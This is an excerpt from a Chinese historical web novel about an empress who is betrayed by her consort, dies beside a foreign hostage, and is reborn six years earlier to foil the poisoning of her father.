《鹤颂长宁》
1. 绝境
昭国边城,群山交叠,黑云侵染了半边天。
“陛下,莫要再挣扎了。”
谢筠骑在马上,居高临下俯视着前方的许长宁,身后是几千精兵铁骑。
“阿皓呢?”许长宁一身明黄色衣裙,被血色染得沉重,那双杏眼此刻因愤怒不甘而烧得猩红。
她身后只有百来残兵,已是必死之局。
“死了。”谢筠面无表情,话音没有半分温度,“崔皓那百来个兵,能拖住我多久?”
闪电如芒,撕裂了天际,一声雷自天边炸响。
许长宁望着谢筠脸上的冷漠,生出一瞬的恍惚。
想想自己今日落到这步田地,也是自作自受。
当初父皇忽然驾崩,她作为皇太女,按照国律,必须成婚方可登基为帝。
悲痛之下,她听从母后及群臣之意,选择了能辅助她的四大世家之首谢家长子谢筠,更是在婚后放权,让谢筠摄政。
如此,她便被谢筠一日日架空了。
待她意欲反抗之时,一切已太晚。
她权势尽失,仅有一腔愤怒,亲近之人皆受她牵连,丢了性命,如今唯剩一人。
“你我夫妻一场,你现在便过来,别再让我浪费力气,我可以给你一个痛快。”谢筠道。
“可笑,朕乃昭国国君,哪怕死,亦不会像你那般窝囊!”许长宁沉声喝道。
此言一出,身边仅剩的忠诚之士皆持剑上前,紧紧将她护住。
其中一人戴着面具,立于她身侧,手中残剑已血迹斑斑。
“陛下,后方洞穴可通往别处,我与众人掩护您,您伺机撤离。”
一道沉稳的男声透过面具,传入许长宁的耳中,一如过去六年间,夜夜枕边私语。
许长宁望着面前一直誓死追随她的将士,坚定道:“我不可能踏着你们的尸骨离开。”
她已不能带给他们希望,至少,要与他们同生共死。
戴着面具的男人抬手,扯住她的衣袖,攥紧了一角。
“可你不能——”
“说好了的。”许长宁侧头看向他,伸手抽出他腰间的另一把剑,微微一笑,“我们要在一起。”
她重新望向前方的谢筠,眼神转瞬变得凌厉。
要死,也要先将他拖下地狱。
“长宁,你该知晓,我向来对你并无恶意,可你许家与我们谢家,如一山二虎。”谢筠言语间尽是惋惜,“你当初既选择将大权交给我,便不该再生出收回的心思,不然我不会杀你。”
“朕将昭国交给你,是信任你能护黎民平安,促昭国强盛!可你将昭国毁成什么样了?”许长宁孤身走到将士前方,一身傲骨丝毫不折,一如当年被封为皇太女时的风姿。
她剑指谢筠,对拥护他的将士们喊道:“你们都睁大眼看看,如今的昭国受燕国铁蹄践踏,山河破碎,连失十几城,百姓被俘虏屠戮!桩桩件件,皆为谢家一手造成!边庭烽火连连,他们谢家人却扣粮截械,致十万将士惨败于燕军之下,尸横遍野!昭国要亡在他们手中了!如此,你们还要拥护这些行同狗彘、心如豺狼的败类吗?!”
对面的将士闻言,不少人的神色有所变化。
许长宁扬唇,却不曾发现,她身边之人亦因这一番话而目光微闪。
谢筠望着气势凛然的许长宁,忽地笑了出来。
“我谢家是打了败仗,陛下不满,臣也认了。”谢筠的话音不紧不慢,仍维持着那副温柔假面,“可臣却不服,陛下于家国危难之际,勾结燕国狗贼,抛弃万千昭国百姓,又有何资格来指责我们谢家?”
“一张狗嘴满口喷粪!”许长宁觉得好笑,“朕何时勾结燕贼了?”
谢筠看对面已无可远攻的弩箭,直接策马靠近许长宁,一脸正色。
“在过去六年间,陛下夜夜私通燕国质子!此若非勾结,何为勾结?!”
此言比惊雷更甚,炸得许长宁身后百来残兵皆吃惊不已。
许长宁亦眉头一蹙,猛然看向身边之人。
面具下的那双瞳眸,因慌张而骤然紧缩。
“燕国质子,江鹤一?”许长宁的声音,低得如同喃喃自语。
她没有听到回复,只见那双眼睛逃避一般,躲开了她的质问。
原来如此……
自新婚之日起,谢筠夜夜换人爬上她的床,行替代之事,背后竟是这般算计!
她还傻乎乎地将一切拱手相让,让父皇的心血毁于一旦,让昭国百姓受苦至此!
奇耻大辱!
手中长剑坠地,许长宁一时竟笑出了声,笑得浑身发颤,形同疯癫。
谢筠继续高声道:“燕国十八年前犯下恶行,如今又大军犯境,屠戮昭国百姓,乃昭国大患!陛下此罪,神怒天诛,你若就地自刎赎罪,我可留你全尸!”
他欣赏着许长宁落败的惨状,不料许长宁忽然神色突变,抬手对准谢筠喉咙,射出一道袖箭!
谢筠一惊,意欲闪躲,可许长宁方才已借他放松警惕之机,大大缩短了两人的距离,此时竟与他近在咫尺。
那袖箭直直扎入了他的脖子一侧。
喷涌的血犹如号令,谢筠身后一众弓箭手迅速挽弓搭箭,冲许长宁射出十几支沾了剧毒的利箭。
“保护陛下!!”
一路随许长宁走到如今的将士们早已做好准备,拼死护在许长宁身前,为她打落毒箭,打不掉的,便以身去挡。
许长宁望着谢筠捂着涌血的脖子,痛苦得说不出话的模样,满眼的畅快。
她迅速拾起地上掉落的剑,要与众人一同厮杀,却被一人紧紧抓住手腕,拽着转身往后面逃跑。
“放开我!”许长宁不愿逃,对拉着她的人也带着一股气。
可江鹤一没有回答,更没有松开一分,强行拉着她往洞穴冲去。
又是一声巨雷劈下,于山间回荡咆哮,骤然间狂风暴雨,仿佛苍天都在唏嘘。
那些至今仍忠心护主的将士们,不顾一切地死守最后一道防线。
利箭夺命无声,忠良消逝震耳欲聋。
时间似乎被凝固了,许长宁已被泪水模糊了视线,被麻木地拽着往前跑。
即将奔入洞口之际,她似是感应到什么,猛地回首,只见一道寒光直奔她而来!
她瞳孔一颤,闪躲不及,铁刃没入血肉的声音如期而至,可想象的穿心之痛并未到来。
江鹤一急急将她扑倒在地,仅是闷哼一声,很快又踉跄地爬起,边折断胸前的箭,边拽着她继续往山洞里奔逃。
“前方有出口,别停下!”江鹤一依旧紧握着她的手腕朝前跑,但许长宁明显感到他的速度慢了下来。
他的手已经从以往的温热,渐渐变得冰冷。
不知跑了多久,前方不远处出现一个越来越大的光点,眼看着即将跑出洞口,忽然一声巨响,顿时山摇地动,前方的山壁轰然崩塌,封死了两人的前路。
许长宁稳住身体,刚要折返,后方退路亦有巨石砸落,江鹤一拽她回来,将她的头按入怀里,直到山体不再崩塌。
所有路皆被巨石堵死,仅剩方寸之地可以容身。
看来谢筠早已在出口备下炸药,她终究是败了,败得一塌糊涂。
随着希望倒下的,还有她身旁的男人。
许长宁扶住了江鹤一,靠着山壁坐下来,轻轻将他的头放在她的腿上。
黑暗之中,一片死寂,只剩两人的呼吸相互交缠。
许长宁轻叹一声:“原来是燕国的大皇子啊。”
她伸手去摘江鹤一的面具,想看一眼他的面容。
这一刻,无论江鹤一是谁,她都不在意了。
她只在意,他们有过长达六年的肌肤之亲,最为陌生,也最为亲密。
江鹤一下意识攥住了许长宁的手,似乎害怕被她看到面容。
他的手脚向来都十分暖和,从前入眠,许长宁最喜欢借他来暖手暖脚,比暖炉还要管用。
可现在,他的掌心却是一片冰凉。
江鹤一似是知道自己的手太冷,还沾了血,很快便松开了。
许长宁如愿摘下他的面具,却未能如愿看清他的面容。
她轻声感慨:“你我在无光的夜里坦诚相见多年,从前我不在乎,便一直没想着要瞧瞧你的脸,如今想看,却看不成了。”
许长宁抬手,指尖落在那张她摸了无数遍的脸上,轻轻描着江鹤一的眉眼和鼻梁。
谢筠以为她愚蠢,被骗了多年,都不知夜里躺在身边的人不是他。
其实她在新婚之夜,抚上身边人的脸庞便知晓了,江鹤一的骨相更加沉厚,暗含锋芒,不似谢筠那般清秀柔和。
谢筠不愿与她行男女之事,她不想强求,而他找来的人又极其乖顺,每每都能哄得她愉悦,那便由他去吧,反正日子无聊得很。
只是她不曾料到,夜夜与她耳鬓厮磨之人,不是什么男宠,而是来自燕国的质子,与昭国水火不容的燕国。
“你为质多年,应当恨透了昭国人,为何舍命救我?”许长宁用尚且温暖的手贴在江鹤一的脸上,与他玩笑道,“莫非郎君已真心相许?”
江鹤一呛了一口血,别过头去,沉默半晌,似是在思考回答。
“逢场作戏罢了。”
许长宁听见他答道。
她用另一边手摸了摸胸前,摸到一片温热的血。
那一箭,射穿了江鹤一的胸膛,也在她回身时,扎入了她的胸口。
她疼得缓了许久,才故作可惜道:“我还以为,夜里你那般痴缠,或许有几分真情。”
“真情又有何用?”江鹤一哑声道。
“是啊……又有何用……”许长宁目光微黯,贴在江鹤一侧脸的手不自觉地收了回去。
他便是动了真情,如今才会与她困在此处等死。
可就在她缩手那刻,江鹤一却攥住她的手,顺势起身,整个人猛地撞入她怀里。
许长宁一怔,轻笑道:“这也是你的逢场作戏?”
江鹤一不回答,只是更用力地往她怀里蹭,额头紧紧抵住她的锁骨,呼吸粗重,逐渐紊乱。
许长宁察觉不对,抬手轻轻搂住他,小心地避开了仍插在他后背的断箭。
她感觉到怀里的人浑身止不住地战栗
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,冷汗渐渐浸透衣衫,脖子上青筋凸起,似是痛苦到了极处。
她将江鹤一抱得更紧了些,如同往日那般唤他:“云止,怎么了?”
江鹤一极力隐忍着,半晌后才颤声挤出回答:“箭上有毒……”
许长宁拧紧眉心,用手扣住他的肩头,柔声道:“忍着点。”
随着断箭拔出,江鹤一再度呕出一口血,许长宁的心也为之一颤。
“什么毒会发作得如此迅速?”她徒劳地用衣袖捂住江鹤一后背流血的伤口,手开始有些发颤。
她本以为,他们还能好好相处一会……
“这症状……恐怕是……西域的乌头之毒……”江鹤一不再掩饰,双手环抱住许长宁,头靠于她的颈窝里,胸膛剧烈起伏着,喘息声在密闭的空间里越来越大,时而伴随着克制的呻吟。
四肢内脏犹如烈火焚烧,剧毒带来的痛楚,许长宁亦逐渐感受到了。
别无他法,她只能与眼前人紧紧相拥。
有那么一瞬,许长宁仿佛回到了过去六年间,那些炙热的夜里,只是血腥味替代了熏香,疼痛替代了愉悦。
那一丝弥漫的旖旎氤氲,极为短暂地驱逐了笼罩着两人的濒死气息。
直至江鹤一实在受不住疼痛,带着一点侵略和索取,咬住了她肩头的衣裳。
许长宁知晓他是痛得狠了,却仍舍不得弄疼她。
他向来都是如此。
如今这般,最多最多,也只会咬她的衣裳。
许长宁的心头弥漫起阵阵酸楚,她忍不住低下头,吻上了江鹤一的耳朵。
因她此举,江鹤一松开了她的衣襟,声音里隐约带着哭腔:“许长宁……疼……”
许长宁感觉有泪沾湿了她脖颈的皮肤,双眼也被毒物烧得滚烫。
她直接捧起江鹤一的脸,撬开了他死死紧咬的牙关,搂着他往一侧躺倒,闭上眼,便当作是寻常,与他共度这最后入眠前的时光。
她抚上他遍布伤疤的后背,紧贴他的胸膛,靠近他的呼吸,与他化作一体。
天地已然崩塌,两人怕是要在此处化为尸骨,既然如此,不如最后一次共舞,勇敢地迎接终结。
“这样……会好一些吗……”许长宁吻过他的唇,又去亲吻他的鼻尖,他的双眼,试图安抚他的痛,也试图冲淡心中的恐惧。
许是毒药作祟,江鹤一仿佛受到刺激的野兽,开始啃咬她的唇,很快便咬破了,随即又如同要止渴一般,吮吸她的血。
他紧箍着许长宁的腰身,与她一同起伏,一同喘息,一同对抗这要命的痛苦。
仿若两朵摇曳的烛火,在将灭之际相融,交织出了最明亮的光华。
直至江鹤一力竭,手上的力道渐渐泄掉,瘫倒在许长宁身侧,再也没有力气动弹。
许长宁为他拢紧衣裳,挪动越发沉重的身体,与他额头相触。
她轻柔地,一遍遍地抚着他的后背,听着他的呼吸声逐渐微弱,喉头涩得发疼。
“若是累了,便睡吧……”虽然江鹤一看不见,她还是扯了扯被咬破的唇。
黑暗中久久没有声响,当许长宁以为自己再也不会听见回应时,耳边响起了断断续续的低语。
“阿宁……”
“你……别怕……”
模糊不清的呢喃,犹如小石子坠入汪洋,又似催人入眠的安魂曲。
许长宁眼泪滑落的瞬间,耳畔的呼吸声骤然消逝。
这世上她在意的最后一人,也离开了。
也好,如此便再无牵挂了。
“我不怕……”她累得几乎抬不起手,指尖最后落在眼前人的脸上,用尽全力,再度轻抚他的轮廓。
她想要记住,刻进骨子里,来世哪怕走散了,也能再将他寻回来。
虽然她不知,他是否还愿意与她同行。
“一起走……你也别怕……”
许长宁闭上眼,再往江鹤一身边挪了挪。
“只是,你要走慢些……我怕……寻不到你……”
*
江鹤一的前世日志·一
谢筠承诺,若我能替他行事,来日他便助我归国,我这具躯壳,为质十几年,早已烂透了,为能回家再见父皇母后一面,逢场作戏又有何难?
他言来日必会与许长宁成亲,要我在此之前,须日日观察她的言行举止。其实自从十二年前和宁宴上匆匆一瞥,我几乎没再见过这个女人,若不是谢筠说她今日会来此处,我未必能认出她来。
她穿着一身明黄色衣裙,倒是不难看,毕竟昭皇只剩她这一个血脉,自是捧在手心里养着。她似乎很喜欢小猫,不知从何处捡来一只受伤的黑猫,即便小猫冲她哈气,她亦不曾放手。
此外,她应当不耐猫气,抱着小猫喷嚏连连,频频以素帕捂住鼻窍,很快便涕泪交加,但仍不顾一旁侍女劝阻,执意亲自安抚小黑猫。那小猫倒是懂得审时度势,很快便被安抚好了。
许是因我躲在树上,有虫蚁爬身,望着那女人一遍遍抚摸黑猫的后背,竟也觉得背上痒痒的……也不知那小猫是否会有同样的感觉?被这般抚摸,到底是痒,还是舒服?
2. 重生
“殿下醒醒……”
许长宁勉强睁开眼,模糊的视线中,出现了一张凑得很近、满是担忧的小脸——她的贴身侍女,薛竹铃。
“还是很难受吗?”薛竹铃摸着许长宁发热的额头,又见她不说话,愈发着急,忙扭头对身后的卫迟风说,“快去请太医再来一趟。”
卫迟风闻言,二话不说转身要走,却被许长宁沙哑的声音唤住了。
“别走……”
许长宁下意识喊了出来,撑起身子抱紧了薛竹铃,埋头在她肩上,颤声道,“你们谁都不能走……”
至少在梦里,不要再离她而去了……
薛竹铃有些无措,卫迟风折返至榻边,卸下腰间的佩剑,单膝跪地,轻声道:“殿下风寒未愈,许是症状有所加重,臣让人去寻太医来,臣不走,和竹铃就在此处守着殿下,可好?”
许长宁听着这两人熟悉的声音,神智渐渐变得清明,五感也犹如拨开了迷雾,变得真实起来。
她抬起头,有些不敢置信地望着眼前二人。
怎么回事……
他们明明,已然惨死……
薛竹铃看着许长宁迷茫的眼神,更害怕了,小嘴一扁:“殿下您别吓我啊……”
言罢,她红着眼看向卫迟风,“卫迟风怎么办……殿下莫不是被热病烧得失了神智……”
“别哭,好好看着殿下。”卫迟风给薛竹铃递去帕子,随即起身要喊人,却又被许长宁给拽了回去。
“你们唤我……殿下?”
许长宁盯着面前两人,缓缓抬起了双手,猛地掐住他们二人的脸蛋。
“你们……是……”
真人吗?
许长宁环视四周,这屋内的布置……是东宫寝殿!
她为何会在东宫?!
她又想起什么,随即伸手一摸,胸口那道致命伤已荡然无存!
薛竹铃和卫迟风都被许长宁掐蒙了,薛竹铃直接哇一声哭了出来,扑到许长宁怀里哭喊:“殿下我是您最最喜欢的竹铃啊!您不记得我了吗?我的阿娘是您的乳娘,我两岁便被带入宫内教养五岁成为您的侍女七岁上树掏鸟蛋差点摔死是您救了我,今年十七岁了您想把我嫁给一个什么鬼将军我死也不肯抱着您哭了两日您终于同意了,您都忘了吗?”
这一顿哭嚎,让向来沉稳的卫迟风也有些慌了,他也试探地说道:“殿下,我是您的东宫卫率卫迟风,十四岁便跟着您了,如今已有五年,您……可还记得……”
许长宁呼吸一紧,薛竹铃十七,卫迟风十九,那她今年,便是二十二?
这是六年前?!
许长宁倏地站起来,不敢相信地环视四周熟悉又遥远的景象。
她竟回到了二十二岁!她仍是皇太女,父皇还活着,谢筠尚未与她成婚,那江鹤一也……
许长宁又惊又喜,忽地笑出声了,伴随着墙上随风飘摇的影子,十分瘆人。
薛竹铃被她这副模样吓得都不敢哭了,扯着一旁卫迟风的袖子有些哆嗦。
许长宁忽然看到堆放在屏风后的两个大箱子,箱子上的一个标志,令她的笑容顿时僵住。
那是谢家的标志。
她走到箱子前,颤抖着手打开,里面摆放着满满的精美瓷器、首饰,还有布匹。
“这是什么?”许长宁的声音顿时冷了下去。
卫迟风一手稳住薛竹铃,一边冷静答道:“这是谢筠公子赠予殿下的冬至礼物。”
卫迟风说着,正要趁许长宁不备,让薛竹铃偷偷溜去请太医,怎知许长宁忽然拿起一个青玉花瓶,狠狠砸到地上,花瓶应声碎裂,碎片四处飞溅,划伤了她的手背。
砸了一个还不够,许长宁疯了一般,不断俯身拿起箱中的物件,砸烂,撕烂,摔烂,然后踩在脚底碾压。
苍天怜悯她,怜悯昭国百姓!竟给她重来一世的机会!
直到伤口延迟的疼痛逐渐蔓延,她才喘着气停下,痛快地笑了。
薛竹玲发现自家殿下笑得阴森又猖狂,吓得直接躲到卫迟风身后,一众东宫卫士闻声而来,卫迟风抬起手,将他们悉数拦在门外。
他望着许长宁流血的手背,担心不已,怕她再伤害自己,便缓缓靠近,抬手要将她劈晕。
怎知许长宁竟格外敏捷,握住了他挥下的手,方才还充斥着疯魔的一双瞳眸,已然恢复了平静,甚至带着几分狠戾。
“迟风,我没事。”许长宁朝他露出一个总归算是不瘆人的笑,“莫担心。”
卫迟风迟疑片刻,俯身行礼赔罪:“臣冒犯了,请殿下见谅。”
“是我吓着你们了。”许长宁踩过遍地狼藉,好似什么都不曾发生过,走到门边,将泪眼汪汪的薛竹铃揽入怀里,摸摸她的头安抚,“好啦,别哭了。”
薛竹铃闻言,便使劲往许长宁怀里钻,几乎把脸埋在她身上。
许长宁对此习以为常,任由她抱着,抬眼对面前的卫士们寒声说:“你们来得正是时候,孤收了谢公子的大礼,自是要去问候一番。”
薛竹铃在许长宁怀里抬起头,从想说的千言万语中,挑出最重要的一句,小声道:“可是殿下,今日冬至,陛下还在书房等您过去,一同与皇后娘娘用晚膳。”
许长宁神色忽变,浑身一颤:“今日便是冬至?”
“是啊殿下,奴婢瞧着您高热未退,本想——”
薛竹铃的话尚未说完,许长宁便猛地冲了出去。
六年前的冬至,正是父皇驾崩之日!
从前她轻信太医所言,以为父皇是因突发心疾而逝,后来才知,父皇乃被谢家毒杀,伪造成病逝。
她查出此事后如梦初醒,彻底与谢家撕破脸皮,却也因此被谢家逼入绝境。
便是今日,谢家下毒杀害了她的父皇!
许长宁不顾身后纷杂的呼喊声,身穿单薄的寝衣,在冬夜中狂奔。
冬夜的冷气灌入她的体内,身边的景象飞快地从她的视线中掠过,许是仍在病中,她又开始觉得眼前的一切变得不真实,甚至出现了幻听。
那是她父皇永远温柔的声音。
“朕的好宁儿,自是天下最好的女子……”
“谁敢说宁儿不配做储君,父皇定叫他挨板子……”
“宁儿莫怕,父皇永远护着你……”
不要……
不要再让她失去一次父皇……
许长宁的视线一度模糊,直至御书房终于出现在视线中,她才成功强压下泪意。
守在御书房外围的几名龙武军远远看见她,本要行礼,却直接被许长宁推开,书房门前的龙武军看她这般不管不顾,神情甚至有几分凌厉,只能抬手将她拦下。
“父皇不能喝茶!”许长宁来不及解释,攀着两名龙武军的手臂,直冲屋内那道身影大喊。
可回应她的,竟是茶杯落地破碎之声。
那道身影在她眼前轰然倒下。
“父皇!!”许长宁撞开两名怔住的龙武军,闯入御书房内,呼吸几乎瞬间凝滞。
皇帝许昭临已倒在地上不省人事,脸色发白。
许长宁强忍惊慌,奔至许昭临身边,抱起他探了探鼻息,手止不住地颤抖。
许昭临的气息已然极其微弱。
她双眼转瞬便变得猩红,冲龙武军喝道:“快去找太医啊!”
一名龙武军当即转身跑走,另一人却脸色凝重。
“宫中太医都去了宫外……恐怕一时赶不回来……”
*
此时坤宁宫中,谢筠正在为皇后李令舒倒茶,随后毕恭毕敬地回到座位上。
“娘娘,此乃家父从南方茶商手中购入的紫笋茶,父亲让我务必要为娘娘泡上一壶。”
李令舒抿了一口茶,微笑道:“表哥有心了,此茶香气馥郁,确为好茶。”
“得娘娘赞赏,臣便安心了。”谢筠笑得温柔,一身金丝白衣衬得整个人温文儒雅,“前些日子,臣送了一些茶叶给殿下,可一直未曾听闻殿下提起过那茶叶,臣心中忐忑,恐是那茶不够好,不合殿下口味,臣念着明日给殿下再送些紫笋茶。”
“宁儿近日一直病着,许是没有心思喝茶。更何况,好茶,也需有懂茶之人冲泡,宁儿忙于政事,向来不懂茶道,你光送茶叶过去可不够。”
李令舒笑着望向谢筠,“筠儿,你可明白本宫的意思?”
谢筠起身,恭敬地行了一礼:“多谢娘娘指点。”
李令舒亦起身,扶了扶他:“你心悦宁儿,便要再主动一些,她在情爱一事上,与陛下如出一辙,可谓一窍不通。”
谢筠还要说些什么,却被一名慌张跑进来的太监打断。
“娘娘!不好了!陛下,陛下出事了!”
李令舒神色突变,急着追问情况,无人注意到,谢筠眼中闪过的那抹冷漠。
他看了眼桌案上仍冒着轻烟的一杯茶,微微扬唇。
*
在赶去御书房的路上,谢筠的身边悄然多了一名老仆人。
仆人告知他,一切皆在计划之中,所有太医仍在宫外,即便赶回来,也无济于事了。
谢筠彻底放下心来,那副心急模样演得愈发逼真,甚至先李令舒一步,跑进了御书房。
庭院跪了一地的龙武军,可里屋的场面,却并非如谢筠想象那般混乱,亦没有他想象中的惊慌哭喊声。
屋内只燃着一盏昏暗的烛火,一片死寂。
许昭临闭着眼躺在榻上,毫无声息。
“谢公子来得真快。”
谢筠被这忽然的声响所惊着,回首望去,竟见许长宁披着外袍,坐于书案前,半身隐藏于阴暗之处。
她的手中,把玩似的拿着许昭临的茶杯。
“殿下。”谢筠恭敬地行礼,虽心中意外,但并未露出半点破绽,仍维持一副心急模样问道,“我方才在皇后娘娘处听闻陛下出事了,现在如何了?”
“他们是如何说的?”许长宁不答反问,声音听不出半分情绪。
谢筠答道:“只说陛下在御书房忽然倒下……陛下可是心疾又犯了?”
“太医尽数出宫,父皇他……”许长宁的话说到一半,便戛然而止。
她闭上眼,深深呼吸一口气,似是沉重得无法往下再说。
谢筠悬起来的心放了下去,虽然许长宁比他快一步出现在此,实属意外,但计划总归是成功了。
“陛下……怎么会这样……”他装作悲痛,声音都变得颤抖。
见许长宁脸色不好,他关切地行至她身边,半蹲下来,把手搭在许长宁的手臂上,隔着衣袖,轻轻握住她,柔声安慰:“殿下还病着,一定要保重身体,陛下若见您如此伤怀,定会心疼的。”
不料,许长宁竟嘴角微扬,轻笑了一声。
“谢公子这番说辞,是急切盼着父皇不好吗?”
谢筠一怔,神色凝固了:“殿下这是何意?”
许长宁缓缓睁眼,看向面前的谢筠:“父皇安好,只是暂时昏睡未醒。”
她把她的父皇救了回来。
既然她已知晓许昭临并非心疾发作,而是中毒,当即便用从前学过的法子,以物抠喉,成功让许昭临吐出了方才喝下去的茶。
谢筠愣怔过后,愁容马上转为笑颜,话音里还带着劫后余生一般的颤抖:“太好了!陛下吉人天相,实乃苍生之福!方才臣误会了殿下所言,真是觉得天旋地转……陛下龙体无恙,便是四海安宁,臣……臣实在太欢喜了。”
许长宁看着他演,也没有动怒,只是不紧不慢地拿起一旁的茶壶,往杯中倒了一杯茶。
“父皇并非心疾发作,而是中毒。”她望着早已凉透的茶水,声音低缓,“他今夜唯一喝过的,便是谢公子所赠的紫笋茶。”
谢筠双眸微颤,忙作出惶恐状,跪了下来:“殿下,臣与皇后娘娘方才喝过紫笋茶,茶叶定是无毒的!请殿下明鉴!”
即便跪着,他的背脊挺直,仍是那副翩翩公子模样,一
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副仙骨一尘不染。
从前,许长宁便是被这副模样骗了。
她盯着谢筠半晌,忽然温婉一笑,抬手扶谢筠起来:“孤自是相信谢公子的。”
谢筠手心已然冒汗,但表面仍十分镇定,正要谢恩,然而下一刻,许长宁便将倒满茶水的杯子递到他眼前。
她笑意盈盈:“方才跑累了吧,喝口茶缓缓。”
谢筠再度被许长宁的意外之举所惊,藏于袖中的手不由得一颤。
“唇都干了。”未等谢筠说话,许长宁直接将茶杯逼到他的唇边,脸上神色甚是温柔,“先喝一口吧。”
谢筠暗中咬紧牙关,忽然觉得许长宁的笑意中,隐约含有一丝扭曲。
他脑中迅速想着应对之策,刚要开口,许长宁又好似猛然想起什么,忽地将茶杯扔到地上。
清脆的碎裂声犹如夜里的一声撞钟。
“哎呀,不对!”许长宁故作认真思索,抢先道出谢筠想好的说辞,“茶叶无毒,那便是有人在茶水中下了毒。”
她晓得定是茶中有毒,但这毒十分隐秘,上一世,太医便没有从茶中查出毒来,许是那毒非毒,只有搭配着紫笋茶服用,才会显现毒性。
谢家既然做了,便应当不会留下任何蛛丝马迹,毕竟谢筠和他爹谢望松,当朝的左相,都是极为谨慎之人,她今夜恐怕无法通过毒物揪住谢家的错处。
然唯有一处,她抢占了先机。
“谢公子莫担心,孤早已派人封锁了附近一带,全力追查,那下毒之人定能被揪出来。”许长宁微笑道,“胆敢栽赃秘书郎,怕是活腻了。”
依照她对谢家手段的了解,他们定不会让下毒之人行事后还留在御书房,以免那人遭刑讯逼供招了,所以下毒者不会是庭院跪着的那些宫女太监和龙武军。
而谢家也定会让下毒之人确保许昭临毒发后才离开,这与许长宁到达御书房的时间几乎是一致的。
她当时马上便让卫迟风带人在附近追查,她便不信抓不到可疑之人。
“多谢殿下。”谢筠俯身作揖,被许长宁这一番折腾下来,已难掩饰僵硬的神色。
寒冬凛凛,他的额头却渗出了薄汗。
许长宁见他如此,心中把握更多了几分。
“陛下!”
李令舒的呼唤声从院中传来,她带着赶回来的太医直奔进来,难掩惊慌地扑到榻边,看许昭临的胸膛还在起伏,在眼眶里打滚的眼泪才算忍住,“这是怎么了?”
“父皇被人下了毒,孤已为他催吐,应当无大碍了。”
许长宁语气平淡,太医闻言一惊,忙给许昭临把脉诊治。
许长宁只看了一眼李令舒,并未与她多说一句话。
她对李令舒这个母后,已心灰意冷。
许长宁站起来绕过谢筠,行至御书房外。
寒风瞬间袭面而来,薛竹铃立即给许长宁拢紧了外袍。
许长宁呼出一口热气暖手,看到卫迟风揪着一名男子往这边走来。
“哟,来了。”她扭头看向一旁的谢筠,嘴角微扬,“谢公子认为,用何种酷刑逼供更快?”
谢筠望着许长宁,一时无言,背在身后的手已紧紧攥成了拳。
“殿下!”卫迟风让人将抓回来的男子押着跪在地上,“此人鬼鬼祟祟,甚是可疑!”
许长宁垂眸望去,只见那男人头发凌乱,只着歪歪扭扭的薄衣,衣裳上还有鞋印,似是被人抢劫后,还挨了一顿打。
卫迟风揪着这个男人进来时,他便已走路不稳,此时脸朝下,伏跪在地上,脊骨透过衣衫上下起伏,犹如垂死之人一般喘息。
许长宁行至男人面前,命令道:“抬起头来。”
男人闻言,双手使劲支撑起身子,却脱力再度摔倒。
两名卫士见状,一左一右架起了男人,薛竹铃也将手中的灯笼朝男人移近了一些。
借着灯光,许长宁看清楚了男人的模样。
他单薄的衣衫凌乱不堪,几乎被扯掉,露出了大半的肩部,头上发簪被打掉,满头乌发凌乱地散落,随风轻扫着颈间喉结与锁骨,衬得皮肤有种病态的苍白。
英气剑眉与直挺鼻梁之侧,是一双桃花眼,好似沾了酒气般迷离,眼角一颗泪痣仿佛擦不掉的泪,平添几分无辜之感,可他的眼眸却黑若曜石,深沉如渊。
像一头被暴力驯服,因受伤而怯懦的乖顺野兽。
许长宁忽然眉心一蹙。
她蹲下身,手缓缓向前,轻轻落在男人的眉心,男人好似害怕般朝后一退缩。
“别动。”许长宁低声道。
男人喉结轻滚,听话地垂下了眼眸。
许长宁闭上眼,指腹游走于男人的眉眼,颧骨,鼻梁,双唇,下颌,最后落在他的锁骨上。
沉稳,厚重,棱角分明。
皮囊会骗人,但骨相不会。
许长宁倏地睁眼,猛地抬起眼前人的下巴,拧眉道:“如此衣衫不整,江鹤一,你做什么去了?”
*
江鹤一的前世日志·二
我知谢家野心大,却不曾料到,他们竟猖狂至弑君,昭皇竟就这样死了……
看着谢家摆出那副无辜的面孔,真是恶心,昭国人都是这般恶心……不过,我倒是第一次见这皇太女落泪,哭得双眼红肿,抱着昭皇的尸身不愿放开。都说帝皇薄情,但据往日观察,许长宁与昭皇之间,确实父女情深……
她哭得极为伤心,我第一念头想着,储君又如何,还是女子一个,难免感情用事,但转念回想起自己当初离开父皇与母后,哭得直接晕了过去,又觉得这女人似乎也没什么好嘲笑的。
生离与死别,心情大约是一样的吧……
御书房外太过嘈杂,我早早便走了,皇帝驾崩,想必谢筠与许长宁的婚事不会太远了,我须得尽快做好准备。只是不知为何,即便离开了那地方,那女人的哭声仍在耳边萦绕不散,令人甚是心烦意乱,连药都制错了几回……
3. 咬痕
认出江鹤一的那一瞬,许长宁心如擂鼓。
她没想到谢筠安排来下毒之人,竟是江鹤一。
但望着江鹤一那狼狈不堪的模样,她又否认了这个想法。
江鹤一是谢筠极为重要的棋子,若两人达成合作,谢筠绝不会让他冒险来下毒,甚至会叮嘱他今夜一定不能出现在御书房附近。
毕竟一旦许昭临驾崩,御书房这一带定会被封锁,江鹤一若有行差踏错,被人抓了去,谢筠便无法让他在接下来的大婚之日行替代之事了。
但前世的江鹤一曾在她揭穿他非谢筠之时,坦白过他与谢筠合作的时间,是在父皇去世之前……
许长宁眉梢轻挑,莫非重来一世,其中发生了什么她不知晓的变故,导致眼下江鹤一与谢筠并未达成合作?
一名卫士给许长宁呈上一小瓶药物,回禀道:“殿下,臣在他身上搜出了一瓶药物,若他便是那燕国质子,便更有毒害陛下的嫌疑了。”
许长宁以眼神示意卫迟风,卫迟风随即拿过药瓶去验毒。
“谢公子如何看?”许长宁松开江鹤一,站起来问道。
谢筠一脸肃色,背于身后的手攥得更紧,死死盯着江鹤一。
好不容易找到一个可以替代他的人,怎可以就这样丢了!
没用的东西!
谢筠正要设法周旋,怎知许长宁忽然身子一颤,卫迟风等一众东宫卫士纷纷拔剑!
许长宁垂眼,只见江鹤一扯住了她的裙角。
他低着头,声音虚弱如游丝,像是冷得发抖:“殿下……小人是冤枉的……”
他缓缓抬头,眼中似有泪光,“小人的师父病了,这是小人为师父求来的药,只是归途中,遭人……欺辱……”
许长宁抬手,示意卫迟风等人把剑收好,俯下身,指尖轻轻探向前去,落在江鹤一那半露的肩头,点在红肿之处上。
江鹤一,原来在她遇见他之前,是这般模样啊。
“谁,为何,如何欺辱你?”
许长宁的声音与她落在身上的指尖一样轻,江鹤一不禁颤了一颤,低声道:“小人之事,恐会污了殿下的耳。”
“是么……”许长宁抬手将江鹤一的衣裳给拉正了,“那你就不怕污了我的眼?”
